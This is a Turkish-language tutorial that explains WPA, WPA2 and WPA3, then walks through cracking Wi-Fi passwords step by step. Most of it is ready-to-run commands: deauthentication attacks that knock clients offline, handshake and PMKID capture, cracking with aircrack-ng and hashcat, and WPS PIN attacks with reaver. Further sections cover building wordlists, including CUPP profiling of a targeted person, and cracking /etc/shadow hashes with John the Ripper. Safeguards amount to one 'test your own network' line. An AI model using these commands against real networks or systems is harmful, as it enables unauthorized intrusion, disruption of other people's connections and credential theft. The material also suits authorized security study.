# **🔐 WPA (Wi-Fi Protected Access) Nasıl Çalışır?**

**WPA (Wi-Fi Protected Access) kablosuz ağları korumak için geliştirilmiş bir güvenlik protokolüdür. WEP'in zayıflıklarını gidermek amacıyla geliştirilmiş ve daha güçlü şifreleme kullanarak kablosuz ağ güvenliğini artırmıştır.**

## **📌 1️⃣ WPA'nın Temel Çalışma Mantığı**

**🔹 Dinamik Şifreleme Anahtarları Kullanır:**

* **WEP’ten farklı olarak, her pakette farklı bir şifreleme anahtarı kullanılır.**
* **Bu, her paketin farklı şifrelenmesini sağlayarak saldırıları zorlaştırır.  
  🔹 Kimlik Doğrulama (Authentication) Kullanır:**
* **WPA, kullanıcının ağa bağlanmadan önce kimlik doğrulama yapmasını gerektirir.  
  🔹 Gelişmiş Şifreleme Kullanır:**
* **WEP'in zayıf RC4 algoritmasını kullanan WPA, TKIP (Temporal Key Integrity Protocol) ile ek güvenlik sağlar.**
* **WPA2 ve WPA3, AES (Advanced Encryption Standard) kullanarak güvenliği daha da artırır.**

## **📌 2️⃣ WPA Türleri ve Çalışma Şekilleri**

| **WPA Türü** | **Şifreleme** | **Güvenlik Seviyesi** |
| --- | --- | --- |
| **WPA (İlk Versiyon)** | **TKIP + RC4** | **Orta (WEP’ten daha iyi ama kırılabilir)** |
| **WPA2** | **AES-CCMP** | **Yüksek (Günümüzde yaygın)** |
| **WPA3** | **Simultaneous Authentication of Equals (SAE) + AES-GCMP** | **Çok Yüksek (En güvenlisi)** |

### 

### 

### 

### 

### **🔹 1️⃣ WPA (İlk Versiyon) Nasıl Çalışır?**

**İlk WPA sürümü 2003 yılında tanıtıldı ve WEP’ten daha güvenliydi, ancak hâlâ bazı zayıflıkları vardı.**

**📌 Özellikleri:  
✅ TKIP (Temporal Key Integrity Protocol) Kullanır:**

* **Her paket için farklı bir şifreleme anahtarı kullanır.**
* **WEP gibi statik anahtarlar yerine dinamik anahtarlar ile şifreleme sağlar.  
  ✅ MIC (Message Integrity Check) Kullanır:**
* **Verilerin değiştirilip değiştirilmediğini kontrol eder.  
  🚨 Ancak RC4 şifreleme algoritmasını kullandığı için zamanla kırılabilir hale gelmiştir.**

### **🔹 2️⃣ WPA2 Nasıl Çalışır? (En Yaygın Kullanılan)**

**📌 Özellikleri:  
✅ AES (Advanced Encryption Standard) Kullanır:**

* **WPA2, AES-CCMP (Counter Mode Cipher Block Chaining Message Authentication Code Protocol) kullanır.**
* **Bu, askeri düzeyde şifreleme sağlar ve kırılması çok daha zordur.  
  ✅ Güçlü Kimlik Doğrulama Kullanır:**
* **802.1X ve EAP (Extensible Authentication Protocol) ile daha güvenli bir kimlik doğrulama mekanizması vardır.  
  🚨 Ancak WPA2 de brute-force saldırılarına karşı savunmasız olabilir.**

### **🔹 3️⃣ WPA3 Nasıl Çalışır? (En Güvenli WPA Versiyonu)**

**📌 Özellikleri:  
✅ SAE (Simultaneous Authentication of Equals) Kullanır:**

* **"Dragonfly Handshake" olarak bilinen yeni bir yöntemle, her oturum için farklı bir anahtar oluşturur.**
* **WPA2’de olduğu gibi Handshake saldırılarına karşı daha dayanıklıdır.  
  ✅ Brute-Force Saldırılarına Dayanıklı:**
* **WPA2’deki offline parola tahmin saldırılarını engeller.  
  ✅ Forward Secrecy Sağlar:**
* **Önceki şifreleme anahtarları sızdırılsa bile, yeni oturumlar etkilenmez.  
  🚨 Ancak, WPA3 desteklemeyen eski cihazlarla uyumsuz olabilir.**

## 

## 

## 

## **📌 3️⃣ WPA Şifreleme ve Kimlik Doğrulama Mekanizması**

**📌 WPA ile kablosuz ağlara bağlanırken iki ana yöntem kullanılır:**

| **WPA Bağlantı Türü** | **Kullanım Alanı** |
| --- | --- |
| **WPA-Personal (WPA-PSK)** | **Ev ağları ve küçük işletmeler** |
| **WPA-Enterprise (WPA-EAP)** | **Büyük şirketler ve kurumsal ağlar** |

**📌 Bağlantı süreçleri:  
1️⃣ Cihaz, Wi-Fi şifresini kullanarak ağa bağlanmaya çalışır.  
2️⃣ Router, cihazın kimlik doğrulamasını yapar ve "4-way handshake" başlatır.  
3️⃣ Ağ, cihaz ve router arasında dinamik olarak oluşturulan şifreleme anahtarları kullanılır.  
4️⃣ Veriler güvenli bir şekilde şifrelenerek iletilir.**

## **📌 4️⃣ WPA'nın Güvenlik Açıkları**

**🚨 WPA-PSK (Wi-Fi Şifresi) Kırılabilir mi?  
✅ Evet, eğer zayıf bir parola kullanılmışsa!  
🔹 WPA şifresini kırmak için brute-force (kaba kuvvet) saldırıları ve dictionary attack (sözlük saldırıları) kullanılabilir.  
🔹 Eğer bir saldırgan WPA handshake paketlerini yakalarsa, bunları Hashcat veya Aircrack-ng ile kırmaya çalışabilir.**

**📌 Örneğin, WPA handshake yakalamak için:**

**bash**

**sudo airodump-ng -c [Kanal] --bssid [Ağ MAC] -w dump wlan0mon**

**📌 Yakalanan handshake ile brute-force saldırısı yapmak:**

**bash**

**sudo aircrack-ng -b [Ağ MAC] -w [Wordlist] dump.cap**

**🚨 WPA3, brute-force saldırılarına karşı çok daha güçlüdür ve offline saldırıları engeller.**

## 

## 

## **📌 5️⃣ WPA Güvenliği İçin En İyi Uygulamalar**

**✅ Güçlü Bir WPA2/WPA3 Parolası Kullanın:**

* **Uzun (en az 16 karakter) ve karmaşık bir parola seçin.  
  ✅ WPA3 Destekleyen Cihazlar Kullanın:**
* **Eski WPA2 cihazlarını güncelleyin veya değiştirin.  
  ✅ MAC Filtreleme Kullanın:**
* **Sadece belirli MAC adreslerinin bağlanmasına izin verin.  
  ✅ Router Güncellemelerini ve Güvenlik Yamalarını Uygulayın.  
  ✅ Ağınızı Düzenli Olarak İzleyin ve Şüpheli Cihazları Engelleyin.**

## **📌 6️⃣ SONUÇ**

**✅ WPA, kablosuz ağları korumak için geliştirilmiş bir güvenlik protokolüdür.  
✅ WPA2, AES-CCMP şifreleme ile hala en yaygın kullanılan protokoldür.  
✅ WPA3, brute-force saldırılarına karşı en dayanıklı seçenektir.  
✅ Eski WPA sürümleri ve zayıf şifreler saldırılara karşı savunmasız olabilir.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

# **🔍 WPA/WPA2 Handshake Yakalama Rehberi**

**🔹 Handshake yakalama, bir kablosuz ağın WPA/WPA2 şifreleme anahtarını ele geçirmek için kullanılan bir tekniktir.  
🔹 Amaç: Ağın kimlik doğrulama sürecini dinleyerek, "handshake" paketlerini yakalamak ve ardından parola kırma işlemi yapmaktır.  
🔹 Araçlar: Kali Linux, Aircrack-ng, Wireshark, Hashcat**

## **📌 1️⃣ WPA/WPA2 Handshake Nedir?**

**📡 Kablosuz bir ağa bağlanırken, istemci (client) ile router (AP – Access Point) arasında bir kimlik doğrulama süreci gerçekleşir.**

**Bu süreç "4-Way Handshake" olarak adlandırılır:  
1️⃣ İstemci (Client) bağlanmaya çalışır.  
2️⃣ Router, kimlik doğrulama için rastgele bir "challenge" (şifreleme anahtarı) gönderir.  
3️⃣ İstemci, şifreleme anahtarını doğrular ve cevap yollar.  
4️⃣ Router, bağlantıyı onaylar ve istemci artık ağa bağlıdır.**

**📌 Handshake paketlerini ele geçirerek, ağın şifrelenmiş anahtarlarını elde edebiliriz.  
📌 Ancak, WPA/WPA2 şifresi kırmak için "wordlist" (şifre listesi) gereklidir.**

## 

## **📌 2️⃣ Handshake Yakalama İçin Gerekli Araçlar**

**🛠️ Gerekli Araçlar:  
✅ Kali Linux veya Parrot OS  
✅ Monitor Mode Destekleyen Wi-Fi Adaptörü (Örneğin: Alfa AWUS036NHA)  
✅ Aircrack-ng Paketleri (airodump-ng, aireplay-ng, aircrack-ng)  
✅ Wireshark (İsteğe bağlı olarak paket analizi için)**

**🔹 Kendi ağınızı test ettiğinizden emin olun!**

## **📌 3️⃣ Monitor Modunu Açma**

**📡 İlk olarak, Wi-Fi kartımızı "Monitor Mode"a alıyoruz.**

**1️⃣ Wi-Fi kartını listele:**

**bash**

**sudo iwconfig**

**💡 Eğer "Mode: Managed" yazıyorsa, kart hala normal modda demektir.**

**2️⃣ Monitor modunu aç:**

**bash**

**sudo airmon-ng start wlan0**

**💡 Bu işlem sonunda, kart "wlan0mon" olarak değişebilir.**

**3️⃣ Arka plandaki işlemleri durdur (gerekirse):**

**bash**

**sudo airmon-ng check kill**

## **📌 4️⃣ Hedef Ağı ve Kanalı Belirleme**

**📡 Çevredeki Wi-Fi ağlarını tarayarak hedef ağın MAC adresini ve kanalını buluyoruz.**

**1️⃣ Ağları taramak için:**

**bash**

**sudo airodump-ng wlan0mon**

**📌 Önemli Bilgiler:**

* **BSSID: Router’ın benzersiz MAC adresi**
* **CH: Kanal numarası**
* **ESSID: Wi-Fi ağının ismi**

**💡 Hedef ağı belirledikten sonra, kanal numarasını not alın.**

**2️⃣ Belirli bir ağa odaklan:**

**bash**

**sudo airodump-ng -c [KANAL] --bssid [BSSID] -w handshake wlan0mon**

**📌 Örnek:**

**bash**

**sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon**

**💡 Bu komut, hedef ağı sadece belirtilen kanal üzerinden izler ve handshake paketlerini kaydeder.**

## **📌 5️⃣ Handshake Paketini Yakalamak**

**📡 Handshake'i yakalamak için istemcinin ağa bağlanmasını bekleyebiliriz ya da "Deauth Saldırısı" ile bağlantısını kopartıp yeniden bağlanmaya zorlayabiliriz.**

**1️⃣ Eğer bir istemci zaten bağlıysa, bekleyerek handshake yakalanabilir.  
2️⃣ Eğer istemci bağlı değilse, "Deauthentication Attack" yaparak zorla bağlantıyı kesebiliriz.**

**🔹 Deauth Saldırısı Yapmak:**

**bash**

**sudo aireplay-ng -0 10 -a [BSSID] -c [İSTEMCİ\_MAC] wlan0mon**

**📌 Örnek:**

**bash**

**sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon**

**💡 Bu komut, belirlenen istemciyi 10 defa bağlantıdan düşürerek tekrar bağlanmasını sağlar.  
💡 Bağlantı tekrar sağlandığında, WPA handshake paketi kaydedilir.**

## **📌 6️⃣ Handshake’in Yakalandığını Kontrol Etmek**

**📡 Handshake'in yakalanıp yakalanmadığını kontrol etmek için şu komutu kullanabilirsiniz:**

**bash**

**ls -l handshake\***

**📌 Eğer "handshake-01.cap" gibi bir dosya oluşturulduysa, işlem başarılıdır!**

**💡 Ayrıca, Wireshark kullanarak ".cap" dosyasını açabilir ve "EAPOL" paketlerini kontrol edebilirsiniz.**

## **📌 7️⃣ Handshake Kırma (Brute Force Saldırısı)**

**🚀 Yakalanan handshake paketini kullanarak WPA/WPA2 şifresini kırmaya çalışabiliriz.**

**1️⃣ Aircrack-ng ile Şifre Kırma:**

**bash**

**sudo aircrack-ng -w [WORDLIST] -b [BSSID] handshake-01.cap**

**📌 Örnek:**

**bash**

**sudo aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF handshake-01.cap**

**💡 Wordlist (şifre listesi) olarak "rockyou.txt" veya özel olarak hazırlanmış listeler kullanılabilir.**

**2️⃣ Hashcat ile Daha Güçlü Saldırı:**

**bash**

**hashcat -m 22000 handshake-01.cap rockyou.txt --force**

**💡 Hashcat, GPU kullanarak daha hızlı kırma işlemi yapabilir.**

## **📌 8️⃣ WPA3 ve Güvenlik Önlemleri**

**🚀 WPA3 Handshake Yakalama ve Kırma Daha Zordur!  
✅ WPA3, SAE (Simultaneous Authentication of Equals) protokolü kullanır ve brute-force saldırılarını engeller.  
✅ Eski WPA2 cihazları, WPA3’e yükseltilmelidir.  
✅ Güçlü, uzun ve karmaşık Wi-Fi şifreleri kullanılmalıdır.**

## **📌 9️⃣ Özet ve Sonuç**

**✅ Handshake Yakalama Aşamaları:  
1️⃣ Wi-Fi kartını "Monitor Mode"a al.  
2️⃣ Hedef ağı belirle.  
3️⃣ İstemciyi ağdan düşürerek tekrar bağlanmasını sağla.  
4️⃣ Handshake paketlerini kaydet.  
5️⃣ Şifreyi kırmak için wordlist kullan.**

## **📌 1️⃣ WPA/WPA2 Handshake Yakalama ve Brute Force ile Şifre Kırma**

📡 **"Handshake Yakalama" yöntemi, WPA/WPA2 ağlarının parola doğrulama sürecini ele geçirerek çalışır.**

### **🔹 Adım 1: Monitor Modunu Açma**

Wi-Fi adaptörünü **Monitor Mode'a** almak için:

bash

sudo airmon-ng start wlan0

💡 **Kart ismi "wlan0mon" olarak değişebilir.**

### **🔹 Adım 2: Ağları Taramak ve Hedef Seçmek**

Çevredeki Wi-Fi ağlarını tarayın:

bash

sudo airodump-ng wlan0mon

📌 **Not almanız gerekenler:**

* **BSSID:** Router’ın MAC adresi
* **CH:** Kanal numarası
* **ESSID:** Wi-Fi adı

### **🔹 Adım 3: Handshake Yakalama**

Belirli bir ağın handshake paketlerini yakalamak için:

bash

sudo airodump-ng -c [KANAL] --bssid [BSSID] -w handshake wlan0mon

📌 **Örnek:**

bash

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

💡 **Bağlantıyı zorlamak için "Deauth Saldırısı" yapabilirsiniz.**

### 

### 

### 

### **🔹 Adım 4: Deauthentication Saldırısı (Bağlantıyı Kesmek)**

📡 **Bir istemciyi düşürerek tekrar bağlanmasını sağlayabiliriz.**

bash

sudo aireplay-ng -0 10 -a [BSSID] -c [İSTEMCİ\_MAC] wlan0mon

📌 **Örnek:**

bash

sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

💡 **Handshake başarıyla yakalandığında, .cap dosyasında saklanır.**

### **🔹 Adım 5: WPA Handshake Dosyasını Kırma**

🔹 **Aircrack-ng ile:**

bash

sudo aircrack-ng -w wordlist.txt -b [BSSID] handshake-01.cap

📌 **Örnek:**

bash

sudo aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF handshake-01.cap

💡 **Güçlü şifreler için büyük wordlist dosyaları gerekir.**

🔹 **Hashcat ile GPU kullanarak kırma:**

bash

hashcat -m 22000 handshake-01.cap rockyou.txt --force

📌 **Wordlist'in içinde şifre yoksa, saldırı başarısız olur.**

## **📌 2️⃣ WPS PIN Zafiyeti ile Şifre Kırma**

📡 **Bazı modemlerde "WPS PIN" güvenlik açığı bulunur.**🛠 **Araç:** Reaver

### **🔹 Adım 1: Hedef Ağı Tespit Etme**

bash

sudo wash -i wlan0mon

📌 **WPS etkin olan modemleri listeleyecektir.**

### **🔹 Adım 2: WPS PIN Saldırısı Başlatma**

bash

sudo reaver -i wlan0mon -b [BSSID] -vv

💡 **Bu yöntem, WPS açık modemlerde şifreyi birkaç saat içinde kırabilir.**

## **📌 3️⃣ PMKID Saldırısı (Handshake Yakalamadan Kırma)**

📡 **Bu yöntem, WPA/WPA2 ağlarına bağlanmadan parola hash’ini ele geçirmek için kullanılır.**

🛠 **Araç:** hcxdumptool ve Hashcat

### **🔹 Adım 1: PMKID Paketini Yakalama**

bash

sudo hcxdumptool -i wlan0mon --enable\_status=1 -o pmkid.pcapng

### **🔹 Adım 2: PMKID Hash’i Kırma**

bash

hashcat -m 16800 pmkid.pcapng rockyou.txt --force

💡 **Handshake yakalamadan WPA2 şifresi kırmanın en hızlı yollarından biridir.**

# **📌 WPA Şifreleme ve Güvenlik Önlemleri**

✅ **Güçlü bir parola kullanın (12+ karakter, büyük/küçük harf, özel karakter ve rakam içermeli).**✅ **WPS özelliğini kapatın.**✅ **Modemin firmware’ini güncelleyin.**✅ **MAC adres filtresi uygulayın.**✅ **Gizli SSID kullanın.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

## 

## 

## 

## 

## 

## 

## **📌 1️⃣ Hazır Wordlist Kaynakları**

**🔹 RockYou.txt: En popüler wordlistlerden biridir. Kali Linux içinde bulunur:**

**bash**

**/usr/share/wordlists/rockyou.txt.gz**

**Çıkarmak için:**

**bash**

**gunzip /usr/share/wordlists/rockyou.txt.gz**

**🔹 SecLists:  
Büyük bir parola listesi koleksiyonudur. İndirmek için:**

**bash**

**git clone https://github.com/danielmiessler/SecLists.git**

**🔹 Weakpass:  
Geniş bir şifre arşivi içerir.** [**Weakpass.com**](https://weakpass.com/) **üzerinden indirilebilir.**

**🔹 CrackStation:  
Devasa bir şifre veritabanıdır.** [**CrackStation.net**](https://crackstation.net/) **adresinden erişilebilir.**

## **📌 2️⃣ Özel Wordlist Oluşturma**

### **🔹 Crunch ile Wordlist Üretme**

**Crunch, belirli desenlerde şifreler oluşturabilir.  
Örnek: 8-10 karakter uzunluğunda, harf ve rakam içeren wordlist oluşturma:**

**bash**

**crunch 8 10 abcdefghijklmnopqrstuvwxyz0123456789 -o custom\_wordlist.txt**

**Özel desenle oluşturma:**

**bash**

**crunch 8 8 -t abc%%%%% -o pattern\_list.txt**

### **🔹 CUPP (Common User Password Profiler)**

**CUPP, hedef kişinin bilgilerini kullanarak özel wordlist oluşturur.  
Kurulum:**

**bash**

**git clone https://github.com/Mebus/cupp.git**

**cd cupp**

**python3 cupp.py -i**

**Sorulan bilgileri doldurarak kişiye özel wordlist oluşturabilirsiniz.**

### **🔹 Hashcat ile Wordlist Genişletme**

**Var olan bir wordlist'i varyasyonlar ekleyerek genişletme:**

**bash**

**hashcat --stdout wordlist.txt -r rules/best64.rule > expanded\_wordlist.txt**

**📌 rules/best64.rule, Kali Linux içinde Hashcat'in kural setlerinden biridir.**

## **📌 3️⃣ Online Wordlist Üreticileri**

**🌐** [**Weakpass Generator**](https://weakpass.com) **→ Farklı kategorilerde şifre listeleri sağlar.  
🌐 WPA-PSK Wordlist Generator → WPA2 şifreleri için özelleştirilmiş listeler oluşturur.  
🌐** [**Probable Wordlists**](https://github.com/berzerk0/Probable-Wordlists) **→ Kullanıcı adı ve parola kombinasyonlarına dayalı listeler.**

**📌 Özet:  
✅ Hazır listeler: RockYou, SecLists, CrackStation, Weakpass  
✅ Özel oluşturma: Crunch, CUPP, Hashcat  
✅ Online araçlar: Weakpass, WPA-PSK Generator**

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

### 

### 

### 

### 

### 

### 

### **John the Ripper (John) Nedir?**

**John the Ripper** (JtR), açık kaynaklı ve güçlü bir **parola kırma** aracıdır. Özellikle sistem yöneticileri ve siber güvenlik uzmanları tarafından **parola güvenliğini test etmek** için kullanılır.

### **📌 John the Ripper'ın Özellikleri**

✅ **Farklı hash formatlarını destekler**:

* Linux, Windows, macOS ve Unix sistemlerdeki **şifrelenmiş parolaları** analiz edebilir.
* **MD5, SHA-1, SHA-256, NTLM, Kerberos, MySQL, ZIP, RAR, PDF** gibi birçok şifreleme türünü kırabilir.

✅ **Farklı saldırı yöntemleri kullanır**:

* **Sözlük saldırısı (Dictionary Attack)** → Hazır kelime listeleri ile tahmin yapar.
* **Brute-force saldırısı** → Tüm olasılıkları deneyerek parolayı bulmaya çalışır.
* **Hybrid saldırı** → Sözlük ve brute-force yöntemlerini birleştirir.

✅ **Parola testleri için optimize edilmiştir**:

* CPU ve GPU destekli çalışabilir (OpenMP ve CUDA desteği ile).
* Multi-threading kullanarak hızlandırılabilir.

### **📌 John the Ripper Nasıl Kurulur?**

Linux’ta JtR’yi kurmak için:

bash

sudo apt update && sudo apt install john -y

Windows için resmi web sitesinden indirilebilir:  
🔗 John the Ripper Resmi Sitesi

### **📌 Kullanım Örnekleri**

#### **1️⃣ Linux’ta /etc/shadow Parolalarını Test Etmek**

**Öncelikle, sistemdeki parola hash’lerini çıkartmak gerekir**

bash

unshadow /etc/passwd /etc/shadow > hashlist.txt

Ardından John ile analiz yapılabilir:

bash

john hashlist.txt

#### **2️⃣ Hash Dosyası Üzerinde Parola Testi**

Bir dosyadaki hashleri kırmak için:

bash

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

#### **3️⃣ Belirli Hash Türleri İçin Kullanım**

bash

john --format=nt hash.txt # Windows NTLM hashlerini kırmak için

john --format=md5 hash.txt # MD5 hashleri için

### **📌 Sonuç**

* **John the Ripper**, **parola güvenliği testleri ve zayıf parolaları tespit etmek** için kullanılan güçlü bir araçtır.
* **Etik hacking ve sızma testleri** için kullanıldığında, sistem yöneticilerine güvenliği artırma konusunda yardımcı olabilir.
* Ancak **yetkisiz sistemlere saldırmak yasa dışıdır** ve etik hacking kurallarına uyulmalıdır.